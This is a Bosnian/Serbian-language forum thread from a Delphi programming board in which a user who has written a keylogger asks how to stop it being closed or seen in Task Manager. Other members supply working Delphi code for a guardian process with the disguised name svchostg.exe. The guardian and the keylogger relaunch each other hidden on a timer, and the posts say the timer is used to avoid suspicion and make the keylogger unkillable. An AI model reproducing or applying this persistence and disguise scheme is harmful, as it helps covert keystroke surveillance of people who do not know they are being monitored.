Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??

[es] :: Pascal / Delphi / Kylix :: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??

Strane: 1 2

[ Pregleda: 8833 | Odgovora: 29 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Almedin

Član broj: 5895
Poruke: 425
213.196.66.*



+27 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??01.03.2009. u 08:50 - pre 183 meseci
Disable interaktivno iskljucuje/ukljucuje dugme End Task (o njemu je bilo govora) a Automatic periodicno iskljucuje End Task i brise program sa liste programa a ne sa liste procesa.
 
Odgovor na temu

Senaid_backo

Član broj: 191763
Poruke: 36
*.boljancic12.zona.ba.

Sajt: www.geeksoftware.org


+1 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??01.03.2009. u 11:23 - pre 183 meseci
Zaključio sam to i sam :), ali to nije ono na šta sam ja mislio, ali ok. Kad dođe vrijeme za to, onda ću i napraviti.
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
 
Odgovor na temu

Almedin

Član broj: 5895
Poruke: 425
*.boljancic12.zona.ba.



+27 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??01.03.2009. u 19:25 - pre 183 meseci
Citat:
Da probao sam i nisam shvatio šta si s njime htio da pokažeš, jer si naveo da si mislio da ja hoću da sakrijem iz Task bar-a, što nije slučaj, ali nebitno. A nisam mislio da mi ti uradiš u programu već da mi navedeš primjer kako staviti na disable end program u task mng. ali evo ti source ako će ti pomoć.


Šta je ovo "end program", End task ili End process?


Citat:
Almedin: Disable interaktivno iskljucuje/ukljucuje dugme End Task (o njemu je bilo govora) a Automatic periodicno iskljucuje End Task i brise program sa liste programa a ne sa liste procesa.


Citat:
Senaid_backo: Zaključio sam to i sam :), ali to nije ono na šta sam ja mislio, ali ok. Kad dođe vrijeme za to, onda ću i napraviti.


Sada reci sta si htio:)
 
Odgovor na temu

Senaid_backo

Član broj: 191763
Poruke: 36
*.boljancic12.zona.ba.

Sajt: www.geeksoftware.org


+1 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??01.03.2009. u 19:42 - pre 183 meseci
Prvo sam htio da kada neko pritisne u programu dugme Hide ( forma se sakrije i vraćaš je sa Ctrl+Alt+F8, što sam i napravio ), eh kada se ovako sakrije da se sakrije i iz Applications i Processes u Task mng., međutim @Peke mi je rekao da bi to on riješio tako što bi samo stavio na disable End Program, pa i ja govorim tako :S. Nadam se da sada kontaš šta sam htio da uradim :D, i da radi se o End Task i End Process, a ne o End Program.

[Ovu poruku je menjao Senaid_backo dana 02.03.2009. u 00:58 GMT+1]
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
 
Odgovor na temu

Peke
Ventis Media Inc.
Novi Sad

Član broj: 24103
Poruke: 66
*.eunet.rs.

Sajt: www.mediamonkey.com


Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??02.03.2009. u 04:13 - pre 183 meseci
@Senaid_Backo
Almedin, je dobro razumeo ono sto sam ja mislio. Veoma interesantan primer.

Koji mi je dao jednu malu ideju za slican ali manje upadljivo resenje.

Eto napravis mali rezidentni programcic (svchostg.exe) koji ce pratiti keylogger.exe pa ko ga nema neka ga startuje:
Code:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ShellAPI;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    // Ova procedura ce reagovati na system Timer.
    procedure WmAppCommand(var MyMess: TMessage);message WM_TIMER;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
procedure TForm1.WmAppCommand(var MyMess: TMessage);
begin
  If FindWindow('TForm1','Keylogger') > 0 then
    Exit
  else
  begin
    ShellExecute(0,'open', 'keylogger.exe','',PChar(ExtractFilePath(Application.ExeName)),SW_HIDE);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Promenimo Caption od Aplikacije tako da bude prepoznatljiv
  Form1.Caption := 'Guardian Started';
  // Napravimo WinAPi timer
  SetTimer(Self.Handle,1,1000,nil);
end;

end.

Isto to uradi i u KeyLogger-u tako da prati Guardian
Code:
If FindWindow('TForm1','Guardian Started') > 0 then


Pazi da kada normalno izlazis iz Keyloggera da posalje guardianu komandu da se zatvori jer bi u slucaju
Code:
PostMessage(Findwindow('TForm1','Guardian Started'), WM_CLOSE, 0, 0);

Izvini sto te forsiram da koristis WinAPI ali tako ces biti manje sumljiv tj. Programi ce ti imati manji Footprint (CPU/MEM) a i WinAPI ce ti koristiti u svakom slucaju posto je skoro isti u svim jezicima. Ali pogledaj Help -> Windows SDK i potrazi funkcije koje sam koristio.

BTW Sto se tice profi linkova, to i nije istina samo sam ti dao malo štiva za ucenje tj. da vidis kako se to resava na drugi nacin iliti kako to windows izmedju sebe resava i kako ce verovatno u buducnosti resavati. I Vista i Win 7 nisu izuzeci cak stavise dodaju samo nove stvari na isti princip.

I Opet ja u 05:15 Odgovaram :(

[Ovu poruku je menjao Peke dana 02.03.2009. u 05:50 GMT+1]
 
Odgovor na temu

Senaid_backo

Član broj: 191763
Poruke: 36
*.boljancic12.zona.ba.

Sajt: www.geeksoftware.org


+1 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??02.03.2009. u 08:16 - pre 183 meseci
To se zove potruditi se da pomogneš nekome i to u 5 sati, hvala ti ( kao i ostalima ). Samo što nisam baš skontao primjenu ovoga primjera, jer koliko vidim svchostg.exe i keylogger.exe se samo međusobno pokreću :S, a možda i nisam uradio ovo kako treba, pa ću evo napisati/kopirati kod koji sam ubacio u keylogger.exe.

Code:

uses
.......

type
.......

private
procedure WmAppCommand(var MyMess: TMessage);message WM_TIMER;
...............

procedure TForm1.WmAppCommand(var MyMess: TMessage);
begin
  If FindWindow('TForm1','Guardian Started') > 0 then
    Exit
  else
  begin
    ShellExecute(0,'open', 'svchostg/svchostg.exe','',PChar(ExtractFilePath(Application.ExeName)),SW_HIDE);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
   // Napravimo WinAPi timer
  SetTimer(Self.Handle,1,1000,nil);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  PostMessage(Findwindow('TForm1','Guardian Started'), WM_CLOSE, 0, 0);
end;




I molio bih pojašnjenje??

Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
 
Odgovor na temu

Peke
Ventis Media Inc.
Novi Sad

Član broj: 24103
Poruke: 66
*.eunet.rs.

Sajt: www.mediamonkey.com


Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??02.03.2009. u 19:47 - pre 183 meseci
Odradio si kako treba i dobro si shvatio tj. oba EXE fajla prate jedan drugog da li su startovani ali preko WinAPI System Timera-a a da ne bi razmisljali o Timer-u i sklonili sumlju sa programa.

Nasao sam malu gresku kod sebe O:)

OnClose nam Fali KillTimer(Self.Handle,1)

Code:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  // Kill timer prvo da ne bi kojim slucajem ponovo startovao Guardian
  KillTimer(Self.Handle,1);
  // poslati close guardian-u
  PostMessage(Findwindow('TForm1','Guardian Started'), WM_CLOSE, 0, 0);
end;


OK, Sta jos nije jasno? ;)
 
Odgovor na temu

Almedin

Član broj: 5895
Poruke: 425
*.boljancic12.zona.ba.



+27 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??02.03.2009. u 22:01 - pre 183 meseci
Citat:
Senaid_backo: To se zove potruditi se da pomogneš nekome i to u 5 sati, hvala ti ( kao i ostalima ). Samo što nisam baš skontao primjenu ovoga primjera, jer koliko vidim svchostg.exe i keylogger.exe se samo međusobno pokreću :S, a možda i nisam uradio ovo kako treba, pa ću evo napisati/kopirati kod koji sam ubacio u keylogger.exe.

I molio bih pojašnjenje??


Posto si trazio savjet o uklanjanju programa sa liste procesa, pretpostavka je da ti je cilj da se tvoj program ne moze ubiti sto se i postize ovi nacinom kako je rekao Peke. Program (jedan od ova dva) se moze ubiti ali ce ga drugi ponovno pokrenuti. Pretpostavljam da je tebi vjerovatno draze da se program nikako ne vidi :)
 
Odgovor na temu

Senaid_backo

Član broj: 191763
Poruke: 36
*.boljancic12.zona.ba.

Sajt: www.geeksoftware.org


+1 Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??02.03.2009. u 22:06 - pre 183 meseci
Evo @Almedin mi je objasnio tako da mi je sada sve jasno, i da, naravno da bi mi bilo draže da se nikako ne vidi ali i ovo je odlično. Hvala svima na pomoći.
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
 
Odgovor na temu

Peke
Ventis Media Inc.
Novi Sad

Član broj: 24103
Poruke: 66
*.eunet.rs.

Sajt: www.mediamonkey.com


Profil

icon Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??03.03.2009. u 20:15 - pre 183 meseci
Hvala, bilo mi je drago.
 
Odgovor na temu

[es] :: Pascal / Delphi / Kylix :: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??

Strane: 1 2

[ Pregleda: 8833 | Odgovora: 29 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.